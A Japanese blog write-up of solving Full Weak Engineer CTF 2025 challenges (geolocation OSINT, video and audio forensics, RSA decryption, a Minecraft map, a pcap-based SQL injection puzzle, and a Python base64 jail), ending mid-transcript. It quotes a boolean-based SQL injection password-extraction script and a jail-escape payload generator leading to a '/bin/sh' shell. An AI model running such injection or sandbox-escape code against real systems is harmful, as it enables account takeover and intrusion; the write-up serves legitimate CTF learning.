プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

Full Weak Engineer CTF 2025 write-up

Full Weak Engineer CTF 2025へ1人チームで参加しました。そのwrite-up記事です。

作問者様Writeupへのリンクや各種問題の配布ファイル含む内容が、GitHubで公開されています: https://github.com/full-weak-engineer/FWE_CTF_2025_public

コンテスト概要

2025/08/29(金) 19:00 +09:00 - 08/31(日) 19:00 +09:00の48時間開催でした。他ルールはRulesページから引用します:

大会ルール(日本語)
- 各チャレンジに、「フラグ」と呼ばれる特定の文字列が隠されています。提示された要件をクリアしたり、脆弱性を突いたりすることによって、このフラグを入手しましょう。
- 正しいフラグを提出すると、そのチームに点数が与えられます。
- 特に問題説明文にて言及されない限り、フラグは次の形式で記述されます: fwectf{Th1s_is_a_sample_Flag} (正規表現fwectf\{[0-9a-zA-Z_!?]+\})
- 開催時間: 2025.8.29 19:00 ~ 2025.8.31 19:00 (JST)
- 一部を除くチャレンジの点数は、解いたプレイヤーの数に応じて変動します。最終的な総得点は、終了時のチャレンジの点数の合計となります。

Discordサーバーについて
Discordサーバー
CTFに関するアナウンスはDiscordサーバーにて行われます。
CTFに関する質問や報告がありましたら#ask-for-admin チャンネルでチケットを作成してください。
Discordでは#rulesをよく読み、それに従ってください

禁止事項
- CTF終了前に問題の解法・フラグ・ヒントを公にすること
- 異なるチーム同士で問題の解法・フラグ・ヒントを共有すること。また、情報交換の提案を持ちかけること
- 総当りによるフラグの送信
- 当CTFで覚えた知識を自分以外が管理する外部のサイトで悪用すること
- スコアサイトへ意図的な攻撃
- 問題サーバーに負荷がかかるような自動探索ツールの利用(例: dirbuster, sqlmap)
- 他チーム及びCTF運営チームに迷惑をかける一切の行為

備考
- 1チームあたりの参加人数に上限はありません
- 問題の説明・アナウンス等は日本語と英語で行われます。
- 一部日本語話者に若干有利な問題があります。このディスアドバンテージに対する補償は行いません。
- インフラの問題等の理由により、開始・終了時間が前後する可能性があります。これらのアナウンスはCTFプラットフォーム上とDiscordで行われます
- ルールに関する最終的な決定権はCTF運営チームが持ちます
- 優勝商品はありません!ごめんね!

(英語版表記は省略します)

出題スケジュール(Schedule)
このCTFでは問題が3段階に分けて出題されます。出題される時間帯と、問題のジャンル・想定難易度は以下のとおりです。
(省略)

3つのWaveに分かれて問題が公開されることや、出題ジャンル・想定難易度が明記されていました。

結果

正の得点を得ている730チーム中、5078点で18位でした:

順位と得点等

緑背景: 解けた問題

環境

主にWindowsのWSL2(Ubuntu 24.04)を使って取り組みました。EXEのデバッガー実行等にはWindows Sandboxによる仮想環境も使いました。

Windows(ホスト)

c:\>ver

Microsoft Windows [Version 10.0.19045.6216]

c:\>wsl -l -v
  NAME              STATE           VERSION
* Ubuntu-24.04      Running         2
  docker-desktop    Running         2
  Ubuntu-22.04      Stopped         2

c:\>

他ソフト

  • IDA Version 9.1.250226 Windows x64 (64-bit address size)
  • Wireshark Version 4.4.9 (v4.4.9-0-g57bf67214076).
  • x64dbg Version: Mar 15 2025 15:54:24
    • ScyllaHide Plugin v1.4.760-a727ac3 (Mar 24 2023)
  • dnSpy v6.5.1 (.NET)
  • Google Chrome Version 139.0.7258.139 (Official Build) (64-bit)

WSL2(Ubuntu 24.04)

$ cat /proc/version
Linux version 6.6.87.2-microsoft-standard-WSL2 (root@439a258ad544) (gcc (GCC) 11.2.0, GNU ld (GNU Binutils) 2.37) #1 SMP PREEMPT_DYNAMIC Thu Jun  5 18:30:46 UTC 2025
$ cat /etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
$ python3 --version
Python 3.12.3
$ python3 -m pip show pip | grep Version:
Version: 24.0
$ python3 -m pip show pycryptodome | grep Version:
Version: 3.20.0
$ python3 -m pip show pwntools | grep Version:
$ curl --version
curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 (+libidn2/2.3.7) libssh/0.10.6/openssl/zlib nghttp2/1.59.0 librtmp/2.3 OpenLDAP/2.6.7
Release-Date: 2023-12-06, security patched: 8.5.0-2ubuntu10.6
Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd
$ wget --version | head -1
GNU Wget 1.21.4 built on linux-gnu.
$

解けた問題

本コンテストの問題文は、英語で提供されている問題と、日本語と英語の両方で提供されている問題がありました。本記事では、日本語がある問題では日本語のみを引用します。

[Welcome] Welcome (522 teams solves, 10 points)

Please join our discord, and read #announcment and #rules. https://discord.com/invite/gRX4HHPpvg

コンテスト開始時刻になると、Discordで次の書き込みがありました:

asusn — 7:00 PM
@everyone
Full Weak Engineer CTF開始されました!
48時間Weakな世界をお楽しみください
また、ハッシュタグは #fwectf となります。

もし、質問等ありましたら ⁠ask-for-admin にてチケット発行を行ってください。開催期間中はそれ以外のチャンネルでは発言できません。

Full Weak Engineer CTF has officially started!!
Enjoy 48 hours in the world of weaknesses!

The official hashtag for SNS is #fwectf .

If you have any questions, please open a ticket in ⁠ask-for-admin .
You will not be able to speak in other channels while this CTF is active.

Welcome flag:fwectf{w3lc0m3_70_fw3_c7f}

フラグを入手できました: fwectf{w3lc0m3_70_fw3_c7f}

[Forensic/OSINT, OSINT, Beginner] GeoGuessr1 (404 teams solves, 100 points)

この写真を撮っている人の座標を指定してください。 また、座標を直接指定すると誤差の許容範囲が表示されません。マウスクリックでご確認ください。

配布ファイルとして次の画像がありました:

最初はGoogle Lensで画像検索していましたが、どこかの別のところにあるKFCばかりヒットしました。左に見える看板下の1065も含まれるように探しましたが、同様に全然だめでした。

しばらく悩んだ後に"KFC" "1065" ケンタッキーでGoogle検索すると、KFC® at 1065 East El Camino Real in Sunnyvale, CA | KFC®が見つかりました。そのページ記載の1065 East El Camino Real #234 Sunnyvale, CA 94087をGoogle Mapで検索してストリートビューを見ると、与えられた画像と同様の場所が見つかりました!

提出フォームから、見つけた付近の座標 37.3524226889, -122.0035638023 を選択して提出してみると正解でした:

[Forensic/OSINT, OSINT, Easy] GeoGuessr2 (320 teams solves, 100 points)

この写真を撮っている人の座標を指定してください。 また、座標を直接指定すると誤差の許容範囲が表示されません。マウスクリックでご確認ください。

配布ファイルとして次の画像がありました:

とりあえずGoogle Lensで調べてみると、看板一番上の文字が Kaisertor らしいことが分かりました。私は飾り文字を読めません!

Google Lenseで調査を続けていると、Weiner Images – Browse 4,838 Stock Photos, Vectors, and Video | Adobe Stockが見つかりました。写真にあるホットドッグのキャラクターそのもので、つまりは素材キャラクター(?)のようです!そういうわけで、キャラクター画像は世界のどこでも使われる可能性があることも分かりました。

KaisertorでGoogle検索すると、フランクフルトの話や、同一らしい看板がしばしば見つかりました。見つかった記事の1つのKaisertor記事では、まさにKaisertorの看板がある写真が掲載されています。記事をGoogle翻訳して読むと、Kaisertorとはどうやらフランクフルトの通りの1つの名称か愛称らしいことが分かりました。記事の日付は2024年8月でした。

Google MapでKaisertor Frankfurt検索すると、カイザー通りがでてきました:

カイザー通りをストリートビューで歩き始めました。その際、ストリートビューの写真の日付が2022年6月であり、上記記事よりも2年古いとは思っていました。通りを往復していると、通りの終端に、右上の方にkeが見える建造物や、左にアーチ状の建造物が見える場所が見つかりました!与えられた写真の場所のようです!

提出フォームから、見つけた付近の座標 50.1075571317, 8.6653789471 を選択して提出してみると正解でした(次の画像は後で撮影し直したので、選択座標が少しズレています……):

[Forensic/OSINT, OSINT, Medium] GeoGuessr3 (318 teams solves, 100 points)

この写真を撮っている人の座標を指定してください。 また、座標を直接指定すると誤差の許容範囲が表示されません。マウスクリックでご確認ください。

配布ファイルとして次の画像がありました:

Google Lensで調べると、5 DTLA Gems You Should Know Aboutがヒットしました:

ヒットした記事の3. Summer Nights in Chinatown箇所の画像が、まさに問題で与えられている写真の光景です!さて、記事ではDTLAの名所を紹介しています。DTLAが何のことなのかをGoogle検索しても情報が見つからず、しばらく迷走していました。しばらくして、見つかった記事のサイトでDTLA検索すると、7 DTLA Restaurants to Impress Your Date (or Client)記事が見つかりました。Downtown Los Angles (DTLA)とのことで、ロサンゼルスとのことです!

画像のGoogle Lens結果から更にChinatown Los Angelesで検索すると、Things to Do in Chinatown Los Angeles, From Tours to Dining記事が見つかりました:

記事の1. Chinatown Central Plaza箇所の画像が、やはり問題で与えられている写真の光景です。Read MoreリンクからChinatown Central Plaza | Things to do in Chinatown, Los Angelesへアクセスすると、住所がAddress 943 N Broadway Los Angelesらしいことが分かりました。Google Mapでその住所を検索してストリートビューで周辺を歩いていると、与えられた写真と同一の建物が映る場所が見つかりました!

提出フォームから、見つけた付近の座標 34.0657179476, -118.2376516349 を提出してみると正解でした:

[Forensic/OSINT, Beginner, Forensic] datamosh (294 teams solves, 106 points)

データモッシュ作ってみた! けど、あれ? 普段のプレイヤーで再生できないな……。

配布ファイルとして、flag_edit.aviがありました:

$ file *
flag_edit.avi: RIFF (little-endian) data, AVI, 1280 x 720, 30.00 fps, video: XviD
$

ブラウザへD&Dしても、再生されずに即座に再ダウンロードされました。とりあえず手元にあったaviutlに投げてみると正常に読み込めて読み込めて、動画の最後の方でフラグが揃いました:

目視で1文字ずつ拾って、フラグを入手できました: fwectf{1s_D474M05hin9_R3vers!8le?}

手元のaviutlにはプラグイン等を色々入れていて、どれかが重要なものだったのかもしれません。

[Forensic/OSINT, Crypto, Forensic, Medium] RSA Phone Tree (240 teams solves, 124 points)

PendelとQuesoから電話がかかってきた…。これはセキュアな電話なので、電話番号を入力するのも一苦労だ。

配布ファイルとして、生成スクリプトと、生成結果WAVE3本がありました:

$ find . -type f -print0 | xargs -0 file
./challenge.py:            Python script, ASCII text executable
./message.wav:             RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 8000 Hz
./p_dial.wav:              RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 8000 Hz
./q_dial.wav:              RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 8000 Hz
$

各種WAVを聞くと、プッシュ電話でダイアルするときのあの音が続く内容でした。challenge.pyによるとDTMFと呼ぶらしいです。音声ファイル内容をデコードしてくれるサービスを探すとDTMF Decoderがあったのでアップロードしてみると、完璧にデコードしてくれました:

暗号文と、RSA暗号におけるp, qはデコードできていて、echallenge.pyに書かれています。復号処理を書きました:

#!/usr/bin/env python3

from Crypto.Util.number import isPrime, long_to_bytes

# Parsed using https://dtmf.netlify.app/
p = 10983959977181906221944070277050249695159719065797979860198327906342517841465796251340510314543825459306549312379388467919085481804275635828255424368896277
q = 8678036199170488884780093394192150083464607667624372136417058065258513864387020799930756914928144817991697023271050010755986626888722989975295810617844267
c = 70508688516557799681651812792642651067871903715364993117923211379841452025135849618182868501557625870789695156447009505178161039560403696520152794746543040447501478286428695065976528304147698191471798860041657166559094242292315109255014028450790613496046735617040355184531712588116133880923988426223187516216

assert isPrime(p)
assert isPrime(q)

n = p * q
e = 65537
d = pow(e, -1, (p - 1) * (q - 1))
m = pow(c, d, n)
print(long_to_bytes(m).decode())

実行しました:

$ ./solve.py
fwectf{Y0ur_7e13ph0n3_Num83r_15_6700_WoW!__H3110?}
$

フラグを入手できました: fwectf{Y0ur_7e13ph0n3_Num83r_15_6700_WoW!__H3110?}

[Forensic/OSINT, OSINT, Easy] Osaka Expo Pavilion Quiz! (78 teams solves, 256 points)

大阪万博…だけど様子がちょっと変? この映像が放送された館を答えよ
Flag形式:fwectf{館名(日本語可)}

配布ファイルとして次の画像がありました:

画像左上の6や、その下のABCというロゴ画像から、朝日放送のABCテレビ制作の映像らしいです。Google Lensで検索したり、大阪万博 パビリオン 天井で画像検索したりしましたが、写真の画像は見つかりませんでした。

しばらく探してから、問題文からのメタ読みで「2025年現在開催中の大阪万博ではなく、前回の大阪万博の映像では?」と考えました。大阪万博 朝日放送 ABCテレビ 1970でGoogle検索するとEXPO'70映像アーカイブ~6000万人が見た未来~|朝日放送グループホールディングス株式会社,朝日放送テレビが見つかりました!当時の映像がアーカイブされています!

映像が色々ありそうだったので、?link=1から順番に人力で確認していきました。40分くらい見続けて?link=100を突破したあたりで、「そもそも外観映像が多すぎるので、内観で絞り込みたい」と思うようになりました。サイトをよく見ると、右上に動画を絞り込む機能があり、その中でパビリオン館内を選択できました!全部で30映像ほどに絞れたので改めて順番に人力確認していると、みどり館映像の1分時点で、与えられた画像と同一の内容が現れました!fwectf{みどり館}で提出すると正解でした。

[Forensic/OSINT, OSINT, Easy] git predator (67 teams solves, 277 points)

Oh no! While developing the game, I accidentally exposed an important key! I managed to delete one right away, but I still haven’t removed the other one… site:https://github.com/gitpreUwU/horse_racing

配布ファイルはありません。GitHubリポジトリへのURLをとりあえずgit cloneしてgit reflogしましたが、clone直後はHEADだけがある状態でした。その後各種コミットを色々見てsecretを見つけましたが、内容はdev_access_token_hereのBase64エンコード結果なだけでした。https://github.com/gitpreUwU/horse_racing/commits/main/を一通り見ましたが、特段何も気付きませんでした。

何も分かっていないままGitHubリポジトリを適当に巡回しているときに、適当にActivity箇所をクリックしてみました(初めてアクセスした気がします):

https://github.com/gitpreUwU/horse_racing/activity?ref=mainに遷移し、Force pushという表示がありました!Force pushでブランチ履歴を上書きしても、GitHubからは依然として見れるらしいです!

各種コミット右端のからCompare changesクリックで差分を確認できました。色々見ていると、次の2箇所にフラグがありました:

2つを合わせて、フラグを入手できました: fwectf{y0u_ar3_g1t_pr3da70r!_78e0}

[Forensic/OSINT, Forensic, Web, Medium] Sharkshop (13 teams solves, 445 points)

開発途中のECサイトで管理者ユーザーのパスワードが流出した。現在、利用された可能性のある脆弱性は修正されたが、パスワードの変更はまだ行われていないようだ。その時にキャプチャされた攻撃者の通信記録から、パスワードを推測し"admin"ユーザーとしてログインしてください。

https://sharkshop.fwectf.com

配布ファイルとして、サーバー側プログラムの各種ファイルと、dump.pcapファイルがありました:

$ find . -type f -print0 | xargs -0 file
./dump.pcap:                                                                       pcap capture file, microsecond ts (little-endian) - version 2.4 (Linux cooked v2, capture length 262144)
./server/app/.git/AUTO_MERGE:                                                      ASCII text
(.git内部省略)
./server/app/.gitignore:                                                           ASCII text, with no line terminators
./server/app/app.py:                                                               Python script, ASCII text executable
./server/app/Dockerfile:                                                           ASCII text
./server/app/requirements.txt:                                                     ASCII text, with no line terminators
./server/app/templates/admin.html:                                                 HTML document, ASCII text
./server/app/templates/coupon.html:                                                HTML document, ASCII text
./server/app/templates/index.html:                                                 HTML document, Unicode text, UTF-8 text
./server/app/templates/login.html:                                                 HTML document, ASCII text
./server/compose.yml:                                                              ASCII text
./server/nginx/default.conf:                                                       ASCII text
./server/README.md:                                                                ASCII text
$

実は.git管理内容も含まれていることはコンテスト中には気付いておらず、本記事執筆中に気付きました。コミット履歴が2つあり、問題文通りにSQLiが修正された内容です:

$ git diff HEAD~
index 000b065..e7e5a61
--- a/app.py
+++ b/app.py
@@ -103,7 +103,7 @@ def coupon():
     if request.method == "POST":
         code = request.form.get("coupon_code", "")
         conn = get_db()
-        cur = conn.execute(f"SELECT * FROM coupons WHERE code = '{code}'")
+        cur = conn.execute(f"SELECT * FROM coupons WHERE code = ?", (code,))
         coupon = cur.fetchone()
         conn.close()
         if coupon:
$

Wiresharkでdump.pcapを調べると、最初にPythonスクリプトを取得するHTTP通信があり、その後にHTTPS通信が続く内容でした。最初に取得するPythonスクリプト内容です:

import requests
import warnings

warnings.simplefilter("ignore")

url = "https://sharkshop.fwectf.com/coupon"
max_length = 32
result = ""


def check_condition(code):
    r = requests.post(url, data={"coupon_code": code}, verify=False)
    return "You can enter coupons after the official launch." in r.text

i = 0
for pos in range(1, max_length + 1):
    low = 32
    high = 126
    found = False
    while low <= high:
        mid = (low + high) // 2
        payload = f"' OR (SELECT unicode(substr(password,{pos},1)) FROM users WHERE username='admin') >= {mid} --"
        i += 1
        if check_condition(payload):
            low = mid + 1
            char_guess = chr(mid)
        else:
            high = mid - 1
    if low == 32:
        break
    result += char_guess
    print(f"Password so far: {result}", flush=True)

print("Leaked admin password:", result)
print(i)

Boolean Based SQL Injectionで二分探索する内容です。

ところで、サーバー側コードのserver/app/app.pyは次の内容です:

# 前略
@app.route("/coupon", methods=["GET", "POST"])
def coupon():
    result = None
    if request.method == "POST":
        code = request.form.get("coupon_code", "")
        conn = get_db()
        cur = conn.execute(f"SELECT * FROM coupons WHERE code = ?", (code,))
        coupon = cur.fetchone()
        conn.close()
        if coupon:
            result = "You can enter coupons after the official launch."
        else:
            result = "Invalid Coupon"
    return render_template("coupon.html", result=result)
# 後略

SQL Injection修正前では、応答がYou can enter coupons after the official launch.Invalid Couponかで1-bitの情報につながっていました。その2つのレスポンスには34文字分の差があるため、その差がdump.pcapのレスポンスサイズにも現れると予想しました。

scapyパッケージを使ってdump.pcapファイルを調べました。「送信元IPアドレスがWebサーバ側らしいもの」かつ「送信元TCPポート番号が443」でパケットをフィルタリングして、TCPレイヤー視点でのペイロードサイズをざっくり統計を取りました(この結果は使えなかったのでスクリプトは省略):

$ ./solve.py | sort | uniq -c
    206 1378
     81 1408
      9 1645
     12 1679
     19 237
     23 271
     12 2816
    412 303
     61 3053
     82 3087

一見すると、サイズ差や出現頻度の違いから、ペイロードサイズが3053なら0に、3087なら1に対応するように思いました。ただそれでパスワードを復元するとkp|xY4*g0@RzxMe@GC+pNとそれらしい結果にはなりましたが、ログインに失敗しました。

改めてキャプチャ内容をscapyのpkt.summaryメソッドで調べていると、同一送信先ポートへの通信が数個まとまっていることに気付きました。同一送信先ポートへの通信サイズをまとめると、50375071の2通りだけになりました!後は、最初に取得するPythonスクリプトにdump.pcap結果の情報を与えるよう改造して、漏洩されたパスワードを復元しました:

#!/usr/bin/env python3

import scapy.all


def generate_bit_stream():
    packets = scapy.all.rdpcap("dump.pcap")

    previous_dest_port = -1
    total_size = 0
    for p in packets.filter(
        lambda p: scapy.layers.inet.TCP in p
        and p[scapy.layers.inet.IP].src == "34.84.101.79"
        and p[scapy.layers.inet.TCP].sport == 443
        and hasattr(p[scapy.layers.inet.TCP], "load")  # もっと良い書き方ありませんか……
    ):
        tcp = p[scapy.layers.inet.TCP]
        # print(tcp.summary())

        len_load = len(tcp.load)
        if tcp.dport == previous_dest_port:
            total_size += len_load
        else:
            previous_dest_port = tcp.dport
            if total_size != 0:
                # print(f"{total_size = }") # 5037, 5071の2通りらしい?
                yield total_size == 5071

            total_size = len_load

    yield total_size == 5071


bit_stream = generate_bit_stream()
i = 0
max_length = 32
result = ""
for pos in range(1, max_length + 1):
    low = 32
    high = 126
    found = False
    while low <= high:
        mid = (low + high) // 2
        i += 1
        if next(bit_stream):
            low = mid + 1
            char_guess = chr(mid)
        else:
            high = mid - 1
    if low == 32:
        break
    result += char_guess
    print(f"Password so far: {result}", flush=True)

# ちょうど最後まで行っていること確認
try:
    next(bit_stream)
    raise Exception("ビットが半端な状況で最後に行きました")
except StopIteration:
    pass

実行すると、パスワードとしてkGxqyvTPlR7BEadMdFku6hjGEPYpNkを復元できました。そのパスワードでadminログインに成功しました!その後/adminエンドポイントへアクセスしました:

フラグを入手できました: fwectf{pcap_f1L3_d3_c7f_914y3r_w0_k0w464r453m45h0u}

時流に乗ったフラグ内容で好きです。

[Misc, Beginner] Poison Apple (444 teams solves, 100 points)

iOSではウォッチドッグタイマが故障した時に返ってくる不思議な4バイトがあるらしい… 大文字にしてfwectf{}で囲ってね 例:1234ABCD→fwectf{1234ABCD}

配布ファイルはありません。iOS ウォッチドッグタイマーでGoogle検索すると、iOSのwatchdogの挙動について記事が見つかりました。当該記事によると、Termination Reason: Namespace SPRINGBOARD, Code 0x8badf00dで終了するとのことです。

最初は問題文を読まずに小文字のまま提出して1WAをもらった後、大文字に直して提出すると正解でした: fwectf{8BADF00D}

[Misc, Easy] Flagcraft (67 teams solves, 277 points)

フラグをめっちゃ遠いところに隠したよ!見つけられるかな?(マイクラを買わなくても解けます)

配布ファイルとして、Minecraftのワールドらしいファイル群がありました:

$ find . -type f -print0 | xargs -0 file
./world/advancements/342dfe34-def6-43d0-954f-9a681570a2bb.json:  JSON text data
./world/data/raids.dat:                                          gzip compressed data, original size modulo 2^32 76
./world/datapacks/bukkit/pack.mcmeta:                            JSON text data
./world/level.dat:                                               gzip compressed data, original size modulo 2^32 2479
./world/playerdata/342dfe34-def6-43d0-954f-9a681570a2bb.dat:     gzip compressed data, original size modulo 2^32 1733
./world/playerdata/342dfe34-def6-43d0-954f-9a681570a2bb.dat_old: gzip compressed data, original size modulo 2^32 1413
./world/poi/r.-7698.19513.mca:                                   data
./world/poi/r.-7698.19514.mca:                                   data
./world/region/r.-1.-1.mca:                                      data
./world/region/r.-1.0.mca:                                       data
./world/region/r.-7697.19513.mca:                                data
./world/region/r.-7697.19514.mca:                                data
./world/region/r.-7698.19513.mca:                                data
./world/region/r.-7698.19514.mca:                                data
./world/region/r.-7699.19513.mca:                                data
./world/region/r.-7699.19514.mca:                                data
./world/region/r.0.-1.mca:                                       data
./world/region/r.0.0.mca:                                        data
./world/stats/342dfe34-def6-43d0-954f-9a681570a2bb.json:         JSON text data
./world/uid.dat:                                                 ISO-8859 text, with no line terminators
$

「あのMinecraftならマップ可視化用ソフトがあるはず」と考えてminecraft world visualizerでGoogle検索すると、uNmINeD – minecraft mapperが見つかりました。unmined-gui_0.19.49-dev_win-64bitをダウンロードして実行し、配布ファイル中のlevel.datを指定すると、上空から見下ろす視点で無事に読み込めました!

ただ、色々拡大したり、X-Ray機能で水中や地中を見ても、フラグらしいものは見当たりませんでした。一時は「上空からの視点だと分からなくて、地上からの横方向視点で分かる内容?」と思っていたりしました。

ふと何となく、表示倍率を思いっきり縮小してみました。左下の方に何かが見えました!

見えた箇所を拡大すると、QRコードが表現されていました!

QRコードを読み取って、フラグを入手できました: fwectf{1_th1nk_m1n3cr4ft_15_th3_635t_94m3}

[Misc, Jail, Medium] 64jail (6 teams solves, 478 points)

based jail

nc chal2.fwectf.com 8011

配布ファイルとして、サーバー側プログラムのjail.pyや関連ファイルがありました:

$ file *
Dockerfile:  ASCII text
compose.yml: ASCII text
flag.txt:    ASCII text, with no line terminators
jail.py:     Python script, ASCII text executable
$

jail.pyは次の内容でした:

#!/usr/local/bin/python3 -S
import string
import base64

allowed = string.ascii_uppercase + string.digits

code = input("enter your base64 code> ")
assert all(x in allowed for x in code)
code = base64.b64decode(code.encode())
exec(code)

ユーザー入力が「英大文字か数字」のみであることを検証してから、Base64デコードしたものをexecする、シンプルな内容です!

本問題ではflag.txtを読む込む必要がありました。「フラグを読んで出力するコード」全部を今回の制約で記述することは厳しいため、exec(input())をstagerとして実行する方針を考えました。

使える文字探し

まずは、どのような文字を使えるのか探したいです。その際、Pythonが改行や空白として認識する文字は一通り探したいです。ただ、10. Full Grammar specification — Python 3.13.7 documentationを見てもNEWLINEの定義が見つからなかったりしてよく分かりませんでした……。実験すると、ASCII Formfeed (FF)の\fが空白文字に、carriage returnの\rが改行文字に使えることが分かりました。

Base64エンコーディングというわけで、平文の3バイトが、Base64エンコード結果の4文字に対応します。ASCIIの範囲で使える文字をざっくり調査しました:

#!/usr/bin/env python3

import base64
import string

import tqdm

allowed = string.ascii_uppercase + string.digits

candidates = sorted(
    list(range(0x20, 0x7F))
    + [
        ord("\n"),
        ord("\r"),
        ord("\f"),  # ASCII Formfeed (FF)
        ord("\t"),
    ]
)

for a in tqdm.tqdm(candidates):
    for b in tqdm.tqdm(candidates, leave=False):
        for c in candidates:
            code = base64.b64encode(bytes([a, b, c]))
            if all(x in allowed for x in code.decode()):
                tqdm.tqdm.write(repr(chr(a) + chr(b) + chr(c)))

実行結果を見ると、次のことが分かりました:

  • \r#\nが使えます。そのため好きな場所で改行できます。
    • ただ\rはデバッグ出力時に行頭文字上書きにつながるため分かりづらいです。
    • 本記事を書く今になって思うと#A\n等を使えばよかったです。
  • exec;が使えます。そのためexec関数を使えます。
  • h, i, j, k, lなど、いくつかの文字がまったく使えません!
  • +([は、1文字目にのみ使えます。その際、2文字目3文字目には非空白文字が伴います。例えば+AA等を使うことになります。
  • 一方で、空白文字のみを伴うため単独で使える記号も多いです。) \t] \tはタブ文字併用で、 ; = :、その他数字類はスペース文字併用で使えます。そのため融通をきかせやすいです。

inputi<built-in function exec>i、などの工夫

  • 最初にexec(input())を目指す方針と書きましたが、前述の通りiを全く使えません!どうするか考えると、str(exec)で得られる文字列<built-in function exec>iが含まれることに気付きました。一方でexec関数そのものの戻り値はNone固定です。そのためexec("B9=str(exec)")のように、別変数に格納する方針を取りました。exec対象の文字列は気合で構築しました。
  • execされるのはPythonコードであるため、行頭にスペースが含まれているとIndentationErrorになります。それを避けるため、AA変数に数値を格納してから+AA, ;を行prefixとして付与する方針にしました。セミコロンの後ではスペースが何個あっても問題ありません。

exec("exec(input())")するソルバーと実行結果

最終的に、前述の方法でi文字を作り、後は+連打でexec("exec(input())")を実行する方針でうまくいきました。ペイロード生成器です:

#!/usr/bin/env python3

import base64
import string


def assert_is_valid_code(code: str):
    allowed = string.ascii_uppercase + string.digits
    encoded = base64.b64encode(code.encode())
    print(encoded)
    assert all(x in allowed for x in encoded.decode())


def assign_string_modifing_AA(
    target_variable_name: str, string_in_literal_with_prefix_4: str, index: int
) -> list[str]:
    assert len(string_in_literal_with_prefix_4) == 3
    assert_is_valid_code(string_in_literal_with_prefix_4)

    assert len(target_variable_name) == 2
    assert len(str(index)) == 1

    variable_triplet = ";" + target_variable_name
    assert_is_valid_code(variable_triplet)

    index_triplet = f" {index};"
    assert_is_valid_code(index_triplet)

    return [
        "\r#\n",
        "AA=",
        index_triplet,
        "\r#\n",
        "+AA",
        variable_triplet,
        "  =",
        ' "4',
        string_in_literal_with_prefix_4,
        ' "\t',
        "[AA",
        "] \t",
        "\r#\n",
    ]


def assign_empty_string_modifing_AA(target_variable_name: str) -> list[str]:
    assert len(target_variable_name) == 2

    variable_triplet = ";" + target_variable_name
    assert_is_valid_code(variable_triplet)

    return [
        "\r#\n",
        "AA=",
        "9 \t",
        "\r#\n",
        "+AA",
        variable_triplet,
        "  =",
        ' "4',
        ' "\t',
        "[AA",
        "  :",
        "] \t",
        "\r#\n",
    ]


code = "".join(
    [
        # A = exec
        "A =",
        " ex",
        "ec;",
        "\r#\n",
        # BS = ""
        *assign_empty_string_modifing_AA("BS"),
        "+AA",
        ";B=",
        " BS",
        "\r#\n",
        # 各種文字を生成
        *assign_string_modifing_AA("B4", "( \t", 1),
        *assign_string_modifing_AA("B5", ") \t", 1),
        *assign_string_modifing_AA("B6", " s\t", 2),
        *assign_string_modifing_AA("B7", " t\t", 2),
        *assign_string_modifing_AA("B8", " r\t", 2),
        *assign_string_modifing_AA("CA", " B\t", 2),
        *assign_string_modifing_AA("CB", "9 \t", 1),
        *assign_string_modifing_AA("CC", "= \t", 1),
        *assign_string_modifing_AA("E4", "e \t", 1),
        *assign_string_modifing_AA("E5", "  x", 3),
        *assign_string_modifing_AA("E6", "e \t", 1),
        *assign_string_modifing_AA("E7", " c\t", 2),
        "\r#\n",
        # exec("B9=str(exec)")
        "+AA",
        "  ;",
        "  A",
        "(BS",
        "+CA",
        "+CB",
        "+CC",
        "+B6",
        "+B7",
        "+B8",
        "+B4",
        "+E4",
        "+E5",
        "+E6",
        "+E7",
        "+B5",
        ") \t",
        # # 各種文字を生成2
        *assign_string_modifing_AA("CB", " n\t", 2),
        *assign_string_modifing_AA("CC", " p\t", 2),
        *assign_string_modifing_AA("CD", " u\t", 2),
        *assign_string_modifing_AA("CE", " t\t", 2),
        # CA=B9[7] # CA="i"
        "\r#\n",
        "AA=",
        "  7",
        "\r#\n",
        "+AA",
        ";CA",
        "  =",
        "(BS",
        "+B9",
        ") \t",
        "[AA",
        "] \t",
        "\r#\n",
        # exec("exec(input())")
        "+AA",
        "  ;",
        "  A",
        "(BS",
        "+E4",
        "+E5",
        "+E6",
        "+E7",
        "+B4",
        "+CA",
        "+CB",
        "+CC",
        "+CD",
        "+CE",
        "+B4",
        "+B5",
        "+B5",
        ") \t",
        "\r#\n",
    ]
)

assert_is_valid_code(code)
print(code)
print(base64.b64encode(code.encode()).decode())
exec(
    code
    + """
print(f"{A=}")
print(f"{B=}")
print(f"{BS=}")
print(f"{AA=}")
print(f"{B4=}")
print(f"{B5=}")
print(f"{B6=}")
print(f"{B7=}")
print(f"{B8=}")
print(f"{B9=}")
print(f"{CA=}")
print(f"{CB=}")
print(f"{CC=}")
print(f"{CD=}")
print(f"{CE=}")
print(f"{E4=}")
print(f"{E5=}")
print(f"{E6=}")
print(f"{E7=}")
"""
)

上記ソルバーで得られた内容をリモートへ接続して送信し、シェルを起動するために__import__("os").system("/bin/sh")execしました:

$ nc chal2.fwectf.com 8011
